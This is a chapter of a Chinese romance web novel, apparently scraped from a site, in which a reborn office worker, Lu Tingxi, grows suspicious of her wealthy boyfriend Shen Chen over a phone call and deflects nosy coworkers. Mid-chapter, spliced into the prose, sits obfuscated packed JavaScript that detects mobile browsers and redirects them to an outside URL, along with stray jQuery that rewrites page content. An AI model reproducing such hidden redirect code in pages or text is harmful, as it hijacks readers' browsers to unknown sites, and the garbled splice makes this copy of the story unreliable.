张穗脸上露出一个很诡异的笑。
陆汀溪站在那,后背一凉。
这人怎么浑身上下透着一股说不清道不明的古怪,尤其是那个笑,总觉得是暗藏杀机。而且很明显,从眼神就看得出来,她认识她。
看来,她也重生了,和杨悦一样,都被卷入了这个轮回。
可这人一次次在她身边徘徊,究竟想做什么?上一次是在咖啡店,这一次又是在她公司楼下,像是算好了她的路线,总能精准地出现在她身边。
陆汀溪心里顿时生出一股不安,虽然不知道这个奇怪女人的意图,但有一点不会错,张穗不会无缘无故地露面。
她来,一定带着目的。
“想吃什么?”沈琛的话拽回了她发散的思绪。
陆汀溪回过神,把脑子里那些翻涌的念头压下去,转头看了他一眼,“随便,你定。”
沈琛的眼神很深,视线在她脸上停了几秒,像是注意到了什么,但没追问,只是牵着她的手朝马路对面走。“对面那家粤菜怎么样?吃过吗?”
陆汀溪心不在焉地“嗯”了一声,跟着走了两步,心思还没收回来,脑子转个不停,下意识回头看了一眼。
张穗已经不见了。
这女人邪门得很,跟鬼魅一样,每次都突然出现,又突然消失,让人心里发毛。
陆汀溪收回视线,攥了攥手心,把那阵莫名其妙的不安往下压了压,又转过头,对沈琛笑了笑,“还行,味道挺不错的。”
沈琛也笑了一下,没说话,眼里带着熟稔的了然,牵着她大步过了马路。
店里,人头攒动,冷气裹着乳鸽的焦香,才刚进门,就扑鼻而来。服务生领着两人穿过大堂,在一个靠窗的位置前停下。
沈琛拉开椅子,让她坐下,自己绕到了对面,伸手把桌上的菜单推到她面前,“看看想吃什么。”
陆汀溪拿起菜单,翻了翻,眼睛盯着那些熟悉的菜名,心思却飘的老远。“虾饺,再来个烤乳鸽。”她合上菜单递回去,“别的你看着点吧。”
沈琛接过菜单,不紧不慢地翻了几下,又点了几个菜,“鸡汤先上,快一点。”
服务员笑着应了一声,“稍等,马上。”
桌上摆着一壶普洱茶,沈琛拎起茶壶,给她倒了一杯,热气袅袅升起,在两人中间拉出一丝若有若无的雾。
陆汀溪忽然觉得眼前的人有些不真实,他的眉眼在氤氲的热气里显得虚晃。
正出神,桌子上的手机震起来,屏幕上显示的“韵韵”。
叠字,女生。
她的视线顿了顿,心口忽然一紧,下一秒慌张地别过头,假装在看窗外,有意回避,可余光还是不受控地往对面瞟。
沈琛放下茶壶,接起电话,很随意地“喂”了一声。
电话对面不知道说了什么,他笑了一下,语气宠溺,“行,后天去接你。”电话那边又说了几句,他压着嘴角,声音更温和了,“嗯,带你去购物,想买什么买什么。”
陆汀溪听着这对话,心里不是滋味。她端起面前的杯子,抿了一口,茶水温热,顺着喉咙往下滑,烫得心口胀胀的,但那股酸涩怎么也压不下去。
沈琛那个死嘴角,从接起来电话开始就没下去过,始终扬着,生怕别人不知道他会笑。还有那个表情也是,越看越不顺眼,越看越让人恼火。她怎么从来没发现,这人这么便宜?
“行行,知道了,我这还有点事,挂了啊。”
还有点事......
这话听着真刺耳。
刚才让人顾垚叫她吃饭的时候大张旗鼓的,又是媳妇,又是老婆的,恨不得拿着大喇叭怼人家顾垚耳朵上喊。怎么轮到这个“韵韵”,就轻飘飘一句“我这还有点事”,一带而过,含糊得像在遮掩。
前后反差这么明显,她再迟钝也品出来不一样了。
这人千人千面玩得明明白白。
对她,恨不得昭告全世界,巴不得让人知道她“名花有主”,好叫那些蠢蠢欲动的心思都知难而退。可转过头去,对着那个“韵韵”,又换了一副面孔,小心翼翼,藏着掖着,生怕走漏半点风声。
两张脸切换得倒挺自然。
沈琛挂了电话,很随意地把手机放在桌子上,正正当当的,面朝上,坦荡得让人挑不出半点毛病。
陆汀溪以为他会给她一个解释,就算没解释,起码主动说两句关于电话的事,要么提一嘴这个人。
可他什么都没说。
只是拎起茶壶,又给她倒了一杯,声音如常,“饿了吧?”
陆汀溪只是“嗯”了一声,端起杯子抿了一口,把涌到嗓子眼的话连同茶一起咽下去了。茶叶淡淡的苦味在口腔里蔓延,顺着喉咙直冲心窝。
她之前很烦一种人,谈恋爱不长嘴的,把事往心里憋,明明想问,却还跟个哑巴一样。但现在,她似乎懂了那种矛盾,想问是因为在乎。
问不出口,也是。
除此之外,还有自尊心在作祟。
服务员端着托盘过来,一道一道往桌上摆菜,虾饺晶莹剔透,隔着皮都能看到内里的虾仁,排骨的肉香里裹着豆豉特有的咸鲜,香味直往鼻子里钻。
桌上满满当当,全是她爱吃的。
可现在却忽然没了食欲。
沈琛抬起筷子,很自然地夹了一只虾饺放进她碟子里,“快吃吧,不是饿了吗?”
他还是平时那副表情,淡淡的,脸上没什么情绪,看着不像做了亏心事,也没察觉出异样,更没觉得有任何不妥。
陆汀溪拿起筷子,把那只虾饺夹起来咬了一口。皮薄馅嫩,虾肉弹牙,鲜甜里掺着一点点笋丁的清脆,是她喜欢的味道。她慢慢嚼了几下,嘴角微微一扯,幅度很小,不易察觉。
这段关系对沈琛来说,或许只是一场露水情缘。就像梁皓说得那样,不匹配的身份背景,注定了就是短择。哪怕沈琛当着人的面说得再好听,都长久不了。
毕竟好听的话谁都会说,陈屿就是个例子,张嘴全是甜言蜜语,一骗就是十几年,但行为很诚实。
“今天加班吗?”沈琛语调很自然,随口一问。
陆汀溪大概猜得到他接下来要问的话,没抬眼,也很随意地回:“加班,挺忙的,估计最近都得加。”
沈琛点了点头,“那下班我来接你。”
“不用了。”陆汀溪抽出一张纸巾,擦了擦嘴,“我开车了。”
“那晚饭一起吃。”
“晚饭我就在公司随便吃一口了,不知道要加到几点呢。”陆汀溪想都没想,直接回绝了。
“知道你得在公司吃,到点下楼就行。”沈琛端起杯子喝了口茶,又抬起筷子,夹了块排骨放她碟子里,“我等会儿找找附近还有什么好吃的店,晚上去尝尝。”
不愧是“拆迁户”,这人还真是不差钱。中午这顿大约么怎么也要三百了,晚上再来一顿硬菜,一天光吃饭就直奔一千块。
这么奢侈的生活,她没过过。
但对沈琛来说这是小钱,大概连眼皮都不抬一下。可她不想因为谈个恋爱就把自己养成伸手的毛病,更不想落人话柄。
情分是情分,账是账。
得分得清。
陆汀溪笑了一下,开玩笑说:“沈老师这是要带我脱贫吗?别来回折腾了,我晚上跟同事一起,你等会赶紧回去吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17661982|203383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“怎么还撵人呢?”沈琛也笑了笑,“下午没课,明后天都没课,没什么事可做,也没地方去,没办法,只能赖在这。”
他说这话的语气挺无赖的,跟平时判若两人。
“那你可以回去睡个午觉,追追剧,要么喝个下午茶,那么多乐子呢,怎么就没事可做?”
陆汀溪有点羡慕嫉妒恨了,某人没经历过社畜地狱般的生活,太生在福中不知福了。竟然能轻而易举地说出“没什么可做”这种妄言,在她的认知里“闲得没事可做”只属于两类人,一种是太有钱了,混吃等死的,一种是实在太惨了,自我放弃的。而她刚好在中间地带,属于那种不能闲的,因为闲下来,下个月房贷没着落了。
沈琛若有所思地点点头,“有道理,我计划计划。”
陆汀溪直接被这话说懵了。
这么简单的事还有计划的必要?
“今天晚上咱先在附近找个地方随便吃一口,对付对付。”沈琛没再给她还口的余地,直接把话说死了,“吃完饭我找个地儿喝喝下午茶,六点半你公司楼下见。”
陆汀溪还想说些拒绝的话,刚张嘴,被沈琛直接怼住了。
“女朋友有陪男朋友吃饭的义务,希望你履行。”
她撇撇嘴。
狗屁义务。
男朋友还有和女朋友汇报的义务呢,他自己怎么不履行?这人就会双标,仗着自己有张厚脸皮,就肆意妄为。
她懒得和这人一般见识,反正他也说了是对付一口,应该就是附近随便找家小店吃个快餐,算算也就几十块钱,不算占他便宜。
“行吧。”她勉强应道。
两人吃完饭,就分分头行动了。陆汀溪回公司继续做她的牛马,沈琛那个大少爷四处搜罗下午茶的去处。一个跟奴隶似的,一个跟主子一样,过得天差地别。
*
下午两点,陆汀溪正坐在工位上写邮件,张钰钰过来了,手里拎着一个纸袋,笑嘻嘻地放她桌子上,“汀姐,男朋友来送温暖了。”
陆汀溪手下一顿,“嗯?”
“刚才我去楼下拿奶茶,刚好碰上你男朋友,人说怕耽误你工作,想让前台帮忙送一下。”张钰钰眨巴着眼睛,直犯花痴,“还要给人跑腿费,出手可阔绰了,你从哪儿找的这种又帅又多金的男人啊,说说呗。”她声音不小,附近的人听得清清楚楚。
顾垚冷哼了一声,阴阳怪气道:“真能整事,怎么不拿个喇叭跑天台上去喊。”
小慧直接凑过来了,兴许是太激动了,吐沫星子喷她一脸。“卧槽,你什么时候背着我谈这么个男朋友?”
“这事说来话长。”陆汀溪敷衍了一句。
“那你长话短说。”
小慧捧着个大脸,和张钰钰头并着头,四只眼睛水灵灵地盯着她,摆明了不问出点什么不罢休。
陆汀溪打开纸袋,里面是一杯咖啡,一块切片蛋糕。她掏出来,把蛋糕塞进张钰钰怀里,咖啡挪到小慧桌上,“散了散了,赶紧各忙各的。”
张钰钰撅了撅嘴,“汀姐这是拿东西堵人的嘴。”她瞄了一眼怀里的蛋糕,嘴角又咧上去了,“看在这蛋糕身价不菲的份上,我闭嘴。”说完晃悠走了。
小慧还杵在那一动不动,明显是不会被收买。
“这不方便说,改天单独找时间跟你说。”陆汀溪语气放软了几分,好脾气地说。
小慧这才挪回座位,“必须找个时间跟我交代这事,不能糊弄。”
“嗯,知道了。”
陆汀溪长长呼出一口气,看着桌子上的纸袋,努了努嘴。
顾垚说的没错。
这人真会搞事。